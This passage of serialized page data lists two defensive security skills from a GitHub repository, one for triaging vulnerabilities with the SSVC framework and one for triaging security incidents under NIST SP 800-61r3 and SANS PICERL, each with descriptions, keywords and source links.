scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[240],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[242,243,244,51,245,246,247,248,249,250,251,252,253,254,255,256,40,257,258,259],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","prioritization","ssvc","decision-tree",{"skillNo":261,"name":262,"nameZh":6,"description":263,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":264,"categories":265,"keywords":267,"publishedAt":55},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[266],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[53,268,51,269,270,271,272,273,274,275,276,203,277,204,278,279,280,281,282,283],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]